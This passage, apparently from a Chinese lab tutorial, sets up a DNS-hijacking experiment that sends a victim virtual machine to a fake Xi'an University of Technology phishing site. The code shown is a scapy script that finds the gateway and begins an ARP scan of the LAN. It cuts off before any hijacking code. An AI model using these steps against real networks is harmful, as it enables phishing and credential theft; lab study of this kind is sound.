实验环境
(因为实验条件有限,虚拟机都采用的是桥接模式,可以与物理机在同一个网段)
钓鱼网站: 虚拟机Windows 2008搭建的网站;IP地址:192.168.43.21;
攻击者: 物理机win7;IP地址:192.168.43.50;
被攻击者: 虚拟机win7;IP地址:192.168.43.96;
实验目的
通过DNS劫持,将被攻击者的域名请求解析为错误的IP地址(钓鱼网站的IP地址),并返回给被攻击者,使得被攻击者进入钓鱼网站,达到实验的目的;
DNS劫持
DNS劫持又称域名,是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问或访问的是假网址。如下如所示,帮助大家更好的理解DNS挟持:
实验步骤
(1) 首先在Windows上搭建一个web服务站点(搭建的过程不再多做叙述),如下图所示,搭建一个假的西安理工大学的网站:
(2) 使用scapy模块扫描出局域网内的活跃的主机,打印出IP地址和MAC地址,选择局域网中的某个主机进行DNS劫持;
代码如下:
#扫描局域网,显示活跃主机
def scan():
global gw
for line in os.popen('route print'):
s=line.strip() #去掉每行的空格
if s.startswith('0.0.0.0'):
slist=s.split()
ip=slist[3]
gw=slist[2]
break
print('本机上网的IP是:',ip)
print('本机上网的网关是:', gw)
tnet=gw+'/24' #本网络
#构造一个ARP广播包,向整个网络的每台主机发起ARP广播
p = Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst&